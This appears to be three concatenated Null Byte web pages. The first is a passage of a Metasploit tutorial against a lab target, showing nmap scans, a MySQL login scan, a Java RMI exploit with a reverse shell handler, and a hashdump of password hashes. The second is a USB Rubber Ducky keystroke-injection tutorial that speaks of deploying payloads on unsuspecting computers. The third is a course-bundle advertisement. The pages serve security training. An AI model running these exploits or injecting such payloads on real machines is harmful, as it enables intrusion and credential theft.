[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schemaThis will probably already have been done since it is a necessary step in order to use Metasploit at all. Regardless, we can check on the status similar to before.msfdb status
β postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
Active: active (exited) since Tue 2019-01-15 09:14:03 CST; 59s ago
Process: 1893 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 1893 (code=exited, status=0/SUCCESS)
Jan 15 09:14:03 drd systemd[1]: Starting PostgreSQL RDBMS...
Jan 15 09:14:03 drd systemd[1]: Started PostgreSQL RDBMS.
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
postgres 1857 postgres 3u IPv6 39550 0t0 TCP localhost:5432 (LISTEN)
postgres 1857 postgres 6u IPv4 39551 0t0 TCP localhost:5432 (LISTEN)
UID PID PPID C STIME TTY STAT TIME CMD
postgres 1857 1 0 09:14 ? S 0:00 /usr/lib/postgresql/10/bin/postgres -D /var/lib/postgresql/10/main -c config_file=/etc/postgresql/1
[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)Now we can launch Metasploit using themsfconsolecommand.msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v4.17.17-dev ]
+ -- --=[ 1817 exploits - 1031 auxiliary - 315 post ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >Once it is up and running, use thehelpkeyword or?to display the help menu. Near the bottom, there will be a section for database commands.msf > help
Database Backend Commands
=========================
Command Description
------- -----------
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspacesWe can check on the status from here as well:msf > db_status
[*] postgresql connected to msfMetasploit uses workspaces to keep track of different information, allowing for separatescansand sessions to be utilized simultaneously. This keeps everything organized and in order. To view the current workspace, use theworkspacekeyword.msf > workspace
* defaultWe can see that our only option available is the default workspace. We can take a look at the different options for this command with the-hflag.msf > workspace -h
Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help informationFor instance, we have the ability to add a workspace with the-aflag.msf > workspace -a myworkspace
[*] Added workspace: myworkspaceCreating a new workspace will automatically switch you over to it.msf > workspace
default
* myworkspaceAnd moving between workspaces is easy, using just its name afterworkplace.msf > workspace default
[*] Workspace: defaultTo delete a workspace, use the-dflag.msf > workspace -d myworkspace
[*] Deleted workspace: myworkspaceThe workspace feature is extremely useful for staying organized while on a pentest or while hacking in general.Nmap ScansAnother powerful feature of Metasploit's database is the ability to interface withNmap. Being able to have the results of any Nmap scan stored at your fingertips makes recon so much easier and effective. We can import the saved results of a scan with thedb_importcommand, followed by the file location.msf > db_import /root/myscan
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.9.1'
[*] Importing host 172.16.1.102
[*] Successfully imported /root/myscanWe also have the ability to perform an Nmap scan directly from the console. Just use thedb_nmapcommand followed by any options you would normally use for a scan.msf > db_nmap -A 172.16.1.102
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 09:33 CST
[*] Nmap: Nmap scan report for 172.16.1.102
[*] Nmap: Host is up (0.0014s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: | ftp-syst:
[*] Nmap: | STAT:
[*] Nmap: | FTP server status:
[*] Nmap: | Connected to 172.16.1.100
[*] Nmap: | Logged in as ftp
[*] Nmap: | TYPE: ASCII
[*] Nmap: | No session bandwidth limit
[*] Nmap: | Session timeout in seconds is 300
[*] Nmap: | Control connection is plain text
[*] Nmap: | Data connections will be plain text
[*] Nmap: | vsFTPd 2.3.4 - secure, fast, stable
[*] Nmap: |_End of status
...From here, the results of the scan will be stored in the database for us to use as we see fit.Hosts & ServicesNow that we have scanned our target, let's display some information about it. Simply use thehostscommand to list information about the current targets stored in the database.msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.1.102 08:00:27:77:62:6c Linux 2.6.X serverWe can see the IP and MAC address here, as well as operating system information. Use the-hflag to list all the options for interacting with a host.msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-C <col1,col2> Only show the given columns until the next restart (see list below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o <file> Send output to a file in csv format
-O <column> Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
-i,--info Change the info of a host
-n,--name Change the name of a host
-m,--comment Change the comment of a host
-t,--tag Add or specify a tag to a range of hosts
Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count,We can add or delete hosts manually, modify the info and add comments, and various other housekeeping tasks here. One useful option is the ability to list only certain columns β use the-cflag followed by a comma-separated list of the columns to be shown.msf > hosts -c address,os_name
Hosts
=====
address os_name
------- -------
172.16.1.102 LinuxWe can also display a list ofservicesthat were discovered by the Nmap scan from earlier with theservicescommand.msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.1.102 21 tcp ftp open vsftpd 2.3.4
172.16.1.102 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
172.16.1.102 23 tcp telnet open Linux telnetd
172.16.1.102 25 tcp smtp open Postfix smtpd
172.16.1.102 53 tcp domain open ISC BIND 9.4.2
172.16.1.102 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
172.16.1.102 111 tcp rpcbind open 2 RPC #100000
172.16.1.102 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
172.16.1.102 445 tcp netbios-ssn open Samba smbd 3.0.20-Debian workgroup: WORKGROUP
172.16.1.102 512 tcp exec open netkit-rsh rexecd
172.16.1.102 513 tcp login open
172.16.1.102 514 tcp shell open Netkit rshd
172.16.1.102 1099 tcp java-rmi open Java RMI Registry
172.16.1.102 1524 tcp bindshell open Metasploitable root shell
172.16.1.102 2049 tcp nfs open 2-4 RPC #100003
172.16.1.102 2121 tcp ftp open ProFTPD 1.3.1
172.16.1.102 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5
172.16.1.102 5432 tcp postgresql open PostgreSQL DB 8.3.0 - 8.3.7
172.16.1.102 5900 tcp vnc open VNC protocol 3.3
172.16.1.102 6000 tcp x11 open access denied
172.16.1.102 6667 tcp irc open UnrealIRCd
172.16.1.102 8009 tcp ajp13 open Apache Jserv Protocol v1.3
172.16.1.102 8180 tcp unknown open Apache-Coyote/1.1This will show the host, service name, port, and other information relating to the service. Again, we can view more options for this command by tacking on the-hflag.msf > services -h
Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]
-a,--add Add the services instead of searching
-d,--delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,--help Show this help information
-s <name1,name2> Search for a list of service names
-p <port1,port2> Search for a list of ports
-r <protocol> Only show [tcp|udp] services
-u,--up Only show services which are up
-o <file> Send output to a file in csv format
-O <column> Order rows by specified column number
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
Available columns: created_at, info, name, port, proto, state, updated_atSimilar options exist, such as the ability to add and delete services manually, to filter by column name, and to search by keyword.msf > services -S mysql
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.1.102 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5Credentials & LootInformation about discovered hosts and services is not the only thing that can be stored in the database. We can also save valuable data likecredentialsandpassword hashes. Thecredscommand will display current information about discovered credentials.msf > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------As you can see, right now there is nothing in there, so let's go enumerate some login info.Metasploit has anauxiliary scannerthat can probe MySQL for valid credentials. Let's run that against our target using the root account and a blank password.msf auxiliary(scanner/mysql/mysql_login) > run
[+] 172.16.1.102:3306 - 172.16.1.102:3306 - Found remote MySQL version 5.0.51a
[+] 172.16.1.102:3306 - 172.16.1.102:3306 - Success: 'root:'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedIt looks like it was successful, so now we can check if the database was populated with those credentials.msf > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
172.16.1.102 172.16.1.102 3306/tcp (mysql) root Blank passwordWe can now see information about the host and service, as well as the login info under root with a blank password. There are more options for credentials beyond this basic usage, which can be viewed with the-hflag.msf > creds -h
With no sub-command, list credentials. If an address range is
given, show only credentials with logins on hosts within that
range.
Usage - Listing credentials:
creds [filter options] [address range]
Usage - Adding credentials:
creds add uses the following named parameters.
user : Public, usually a username
password : Private, private_type Password.
ntlm : Private, private_type NTLM Hash.
ssh-key : Private, private_type SSH key, must be a file path.
hash : Private, private_type Nonreplayable hash
realm : Realm,
realm-type: Realm, realm_type (domain db2db sid pgdb rsync wildcard), defaults to domain.
...We also have the ability to store other discovered information such as password hashes. To view current findings, use thelootcommand.msf > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----Again, we haven't done anything yet so there is nothing here yet. Let's see if we can gather some hashes from our target.First, we'll need to compromise it and get a root shell. We can do this in a number of ways, but for now we canexploit a vulnerability found in a Java service. Once we execute the attack, we can background the session.msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 172.16.1.100:4444
[*] 172.16.1.102:1099 - Using URL: http://0.0.0.0:8080/fbz8uGK4rg1dea
[*] 172.16.1.102:1099 - Local IP: http://172.16.1.100:8080/fbz8uGK4rg1dea
[*] 172.16.1.102:1099 - Server started.
[*] 172.16.1.102:1099 - Sending RMI Header...
[*] 172.16.1.102:1099 - Sending RMI Call...
[*] 172.16.1.102:1099 - Replied to request for payload JAR
[*] Sending stage (2952 bytes) to 172.16.1.102
[*] 172.16.1.102:1099 - Server stopped.
^Z
Background session 1? [y/N] yNext, we can use apost-exploitationmodule to get the hashes from this system. Use the session that we just backgrounded and run the exploit.msf post(linux/gather/hashdump) > options
Module options (post/linux/gather/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
msf post(linux/gather/hashdump) > set session 1
session => 1
msf post(linux/gather/hashdump) > run
[!] SESSION may not be compatible with this module.
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.hashes_722705.txt
[*] Post module execution completedIt looks like it found some hashes, but let's check the database now for loot.msf > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.16.1.102 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.hashes_722705.txt
172.16.1.102 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.passwd_635591.txt
172.16.1.102 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.shadow_881518.txtNow we can see information about the hashes we found, such as the type and file path. Like the other features of the database, we can see a few more options for loot by displaying the help.msf > loot -h
Usage: loot <options>
Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]
Del: loot -d [addr1 addr2 ...]
-a,--add Add loot to the list of addresses, instead of listing
-d,--delete Delete *all* loot matching host and type
-f,--file File with contents of the loot to add
-i,--info Info of the loot to add
-t <type1,type2> Search for a list of types
-h,--help Show this help information
-S,--search Search string to filter byAll of this data we have stored is basically useless if we cannot save it for later. Luckily, we can do just that with thedb_exportcommand.msf > db_export -h
Usage:
db_export -f <format> [filename]
Format can be one of: xml, pwdump
[-] No output file was specifiedSimply specify the file format and the path to write to, and all the information stored in the database will be exported to a file for later use.msf > db_export -f xml /root/mydbinfo.xml
[*] Starting export of workspace default to /root/mydbinfo.xml [ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Starting export of module details
[*] >> Finished export of report
[*] Finished export of workspace default to /root/mydbinfo.xml [ xml ]...Wrap UpIn this article, we explored a little-known feature of Metasploit that allows us to keep track of information and stay organized while hacking. We covered how to set up the database and customize workspaces, how to utilize Nmap to store scan results, and gather and view discovered information such as services, credentials, and password hashes. The ability to store and manage data right in Metasploit allows us to stay organized and ultimately become a more successful hacker.Don't Miss:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bystartupstockphotos/Pexels; Screenshots by drd_/Null ByteRelatedHow to Hack Databases:Hunting for Microsoft's SQL ServerMac for Hackers:How to Install the Metasploit FrameworkHow To:Gather Information on PostgreSQL Databases with MetasploitHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Enumerate MySQL Databases with MetasploitHack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Mac for Hackers:How to Organize Your Tools by Pentest StagesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:Top 10 Exploit Databases for Finding VulnerabilitiesHow to Hack Databases:Extracting Data from Online Databases Using SqlmapHow To:Create your first database in OpenOffice BaseSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow to Hack Databases:Hacking MySQL Online Databases with SqlmapNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Find the Latest Exploits and VulnerabilitiesβDirectly from MicrosoftHack Logs and Linux Commands:What's Going On Here?News:Accessing a PostgreSQL Database in your C/C++ ProgramIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:ShouldIChangeMyPassword.comHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:PostgreSQL Quick StartHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Keep Your Computer Organized in Windows 7How To:10 Awesome Organizing Hacks for Your Living Space |
How to Load & Use Keystroke Injection Payloads on the USB Rubber Ducky Β« Null Byte :: WonderHowTo | Keystroke injection attacks are popular because they exploit the trust computers have in human interface devices (HIDs). One of the most popular and easily accessible keystroke injection tools is theUSB Rubber DuckyfromHack5, which has a huge range of uses beyond simple HID attacks. The USB Rubber Ducky can be used to attack any unlocked computer in seconds or to automate processes and save time.Quacking Like a KeyboardThis tutorial will begin exploring keystroke injection attacks with the USB Rubber Ducky. This device, which looks like a normal USB stick, is capable of tricking computers into believing it is a trusted keyboard input device. The USB Rubber Ducky exploits this trust and allows you to dump complex commands into a terminal window at superhuman speeds. This, combined with a community effort to create and share payloads, makes the USB Rubber Ducky a powerful tool against any computer.Image by SADMIN/Null ByteDucky ScriptingThe USB Rubber Ducky is programmed using Ducky Script, which is really simple and in all caps. Each command is on a new line, and commands like ALT and CTRL are familiar. To write in Ducky Script, you simply imagine you were sitting in front of the keyboard and needed to accomplish a task using only the keyboard. Using key shortcuts and terminal commands, it's possible to achieve specific actions with relatively little code.Don't Miss:How to Make Your Own Bad USBTo get started, check out this payload for macOS that opens a terminal window, jacks up the volume on the computer, and then navigates to a YouTube link to play at full volume.DELAY 1000GUI SPACESTRING terminalDELAY 500ENTERDELAY 4000STRING osascript -e 'set volume 7'DELAY 500ENTERDELAY 500STRING openhttps://youtu.be/_hI0qMtdfngDELAY 500ENTERIn this example, DELAY allows time for the USB drive to connect to the computer, GUI SPACE opens the app search bar, TERMINAL then ENTER opens a terminal window, and the last two commands set the volume and open a new browser window to an excellent song playing on YouTube at full blast. A DELAY is usually used to ensure the computer has time to switch to a new window or finish the last command before proceeding. You can see more detailed examples of Ducky Scriptat the USB Rubber Ducky's website.Dropping Fscking LoadsThe purpose of the USB Rubber Ducky is to deploy payloads onto target computers in seconds. Fortunately for us, the community has lots of payloads available to be used, remixed, and tested. Not all work as advertised, but I picked one to jack up the volume and play an excellent song on YouTube to test it out on a Mac. When it comes to targets, the USB Rubber Ducky can tailor a variety of payloads to Windows, macOS (previously Mac OS X), Android, iOS, and Linux systems to have you dropping single or multi-stage payloads in no time.Using & Loading PayloadsTo use or create a payload, we can't just put our TXT file directly into the USB Rubber Ducky to inject it. First, we need to process the script into a binary file that can be loaded onto the card and injected. To do so, we'll need:oneUSB Rubber Ducky(includes a microSD card)a computer to edit and encode payloads onadditional microSD cardsfor more payloads (optional)amicroSD card adapterorUSB card readerto load files to the DuckytheUSB Rubber Ducky EncoderStep 1: Edit a Payload in Ducky ScriptTo begin editing or creating a payload, you can create a text document in GNU nano,Vim, or TextEdit to start a blank TXT file. In terminal, the command to create a new text file namedducky.txtwith nano is:nano ducky.txtThen just type your Ducky Script into the window. Once you're done, hitCtrl Xto exit,Yto save changes, andEnterto commit changes. You should now have a file calledducky.txt.Step 2: Create a Ducky Binary FileIn order to load a payload, we have to put it on the microSD card in the USB Rubber Ducky. I have a little SD card case full of payloads, which gives me a lot of flexibility in storing and managing which to deploy. To use a payload, we must first convert the TXT file to a binary BIN file for the USB Rubber Ducky to execute.USB Rubber Ducky can drop a lot of loads.Image by SADMIN/Null ByteDownload the Duck Encoder and other Ducky tools by typing the following in terminal to clone the git repo.git clonehttps://github.com/hak5darren/USB-Rubber-Ducky.gitNavigating to the USB-Rubber-Ducky folder, you should see a variety of files including the friendly Ducky_Encoder_GUI.jar. Open this file, and a friendly Java GUI should pop up to help guide you through the encoding process.Input file:Select the ducky.txt file you previously created.Layout file:Select "US" unless you are in another part of the world, as this sets the keyboard layout. The default is "be" which will not work for English keyboards. If you mismatch keyboard layout with the target computer, the script will just type garbled nonsense, so this is very important.Output file:Type "inject.bin."When ready, just click on "Export bin" button. This should create a BIN file in the same folder (unless you selected a different location). This BIN file is the one that we can load into the USB Rubber Ducky to execute as a payload!Step 3: Load the Ducky UpRemove the microSD card from the USB Rubber Ducky and connect it to your computer via an adapter or card reader. Delete any previousinject.binfiles on the microSD card and transfer yourinject.binfile over to it. It's as simple as that! Once it's done transferring, the payload should be ready to drop onto any unsuspecting computer.Loading quality loads.Image by SADMIN/Null ByteStep 4: Deploy the DuckyLoad the microSD card back into the USB Rubber Ducky, and you're ready to inject. Practice scripts on computers running the same operating system to work out any bugs and make sure you don't miss your chance to a stray unanticipated pop-up window. Ducky payloads can be derailed by even the slightest mistake, so be sure to test and retest your payloads in the lab before deployment.USB Rubber Ducky and microSD card adapter.Image by SADMIN/Null ByteEach time you want to create a payload, the process will be the same. Write the code, encode the binary, load the duck, and deploy. This is the basic process for using the USB Rubber Ducky!Thanks for reading, and make sure to keep an eye on Null Byte for more hacking tutorials. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Don't Miss:The Cheap USB Kill Stick That Destroys Any Computer You WantFollow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Steal macOS Files with the USB Rubber DuckyHacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack MacOS with Digispark Ducky Script PayloadsHow To:Catch USB Rubber Duckies on Your Computer with USBRipHow To:Run USB Rubber Ducky Scripts on a Super Inexpensive Digispark BoardNews:Hak5 Just Released the Packet SquirrelHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow To:Steal Usernames & Passwords Stored in Firefox on Windows 10 Using a USB Rubber DuckyHow To:Make Your Own Bad USBAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)Hacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Decorate rubber ducky shaped cupcakesHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Use Microsoft.com Domains to Bypass Firewalls & Execute PayloadsHow To:Top 10 Things to Do After Installing Kali LinuxHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHow To:Find the rubber ducky easter egg in CrackdownBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)How To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Hack WPA2 Wi-Fi Passwords Using Jedi Mind Tricks (& USB Dead Drops)How To:Use Social Engineering to Find Out More Information About a CompanyHacking Windows 10:How to Break into Somebody's Computer Without a Password (Setting Up the Payload)How To:Defend from Keyloggers in Firefox with Keystroke EncryptionHow To:Make Your Own USB Keylogger Hardware |
This Course Bundle Will Teach You How to Start & Grow a Business Β« Null Byte :: WonderHowTo | Ever a hacker can have their own business that goes beyond cashing in on profitable bug bounties. With the right skill set and certifications, an ethical hacker could build a cybersecurity firm, become a penetration testing for hire, or even just consult on preventive measures to defend against black hats. But learning how to start and grow a business is rarely easy.It's not much of an exaggeration to say that the economy will never entirely be the same. In the wake of a pandemic that has upended businesses and altered traditional demand models, workers are scrambling to adapt to a new normal in which working a typical nine-to-five is simplyno longer the bastion of security it once was.But when one door closes, another almost always opens. Although this may not be the best time to pursue a traditional career, it's a perfect time to get your small business idea off the ground finally. That's thanks to a combination of unprecedented downtime and a series of low-interest loans that can help you get started.But in addition to a great idea and an influx in cash, you need to have the right skills and tools to start and grow a truly successful business, and theEssential Guide to Starting a Business Bundle by Evan Kimbrellwill get you to where you need to be for just $34.99.Taught by award-winning instructorEvan Kimbrell, this bundle is packed with 12 courses and over 125 hours of in-depth instructions that will show you how to create a profitable business from scratch in virtually any industry.It's a great tool regardless of whether you're trying to start an online marketing firm, a global investment company, or a cybersecurity firm. This bundle will teach you how to hire and train your team regardless of your budget, grow a presence online through content that drives traffic to your site and increases click-throughs, generate leads that will help you take advantage of new opportunities for growth, and much more.Some guides focus on a wide range of social media marketing tools and strategies (including how to create a thriving and popular Instagram page for your brand), and you'll learn how to work with simple, yet powerful, financial modeling tools and platforms that will allow you to cut costs and plan for your future.The Essential Guide to Starting a Business Bundle will give you the knowledge and tools you need to turn any business idea into a reality, and it's currently available forover 95% off at $34.99.Prices are subject to change.Think Big:Essential Guide to Starting a Business Bundle for $34.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byHack Capital/UnsplashRelatedHow To:Learn the Essentials of Accounting to Boost Profit Margins in Your Small BusinessHow To:Hack Your Business Skills with These Excel CoursesHow To:This 5-Course Data Analytics Bundle Is Just $49 TodayHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35News:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Here's Your Guide to Launching a Podcast from HomeDeal Alert:Learn the Stock Market Inside & Out for Under 30 BucksHow To:Master Adobe's Top Design Tools for Under $50 Right NowHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Learn to Draw Like a Pro for Under $40How To:Expand Your Coding Skill Set by Learning How to Build Games in UnityHow To:This Extensive Python Training Is Under $40 TodayHow To:Start Managing Your Money & Investments Like a Pro with This Affordable Course BundleHow To:This Best-Selling Web Development Training Is on Sale for $12How To:Become an In-Demand Web Developer with This $29 TrainingDeal Alert:Become a Digital Marketing Guru for $44.99 β TikTok, Fiverr, Mailchimp & More PlatformsHow To:Take Your Productivity to the Next Level with This Google Masterclass BundleHow To:Understand Math Like an Engineer for Under $30How To:How Do You Know if You Can or Should Start a Business Part 2 of 3Deal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Learn How to Grow Your Instagram Following for Under $14How To:Become a Productivity Master with Google Apps ScriptHow To:Prep for a Lucrative Project Management Career with These CoursesHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleNews:You Can Master Adobe's Hottest Tools from Home for Only $34How To:How Do You Know if You Can or Should Start a Business? Part 1 of 3How To:Learn to Code Your Own Games with This Hands-on BundleHow To:Get a Jump Start into Cybersecurity with This BundleHow To:Go from Total Beginner to Cloud Computing Certified with This Top-Rated Bundle of Courses, Now 98% OffHow To:Become a Data Wizard with This Microsoft Excel & Power BI TrainingHow To:Time Management Will Never Be an Issue Again with This 7-Course Work from Home BundleHow To:Become a Big Data Expert with This 10-Course BundleHow To:Learn Any of Rosetta Stone's 24 Languages with This Incredible App BundleHow To:Master the Internet of Things with This Certification BundleHow To:Learn to Create Your Own Apple Apps for the App Store with This SwiftUI Course Bundle |
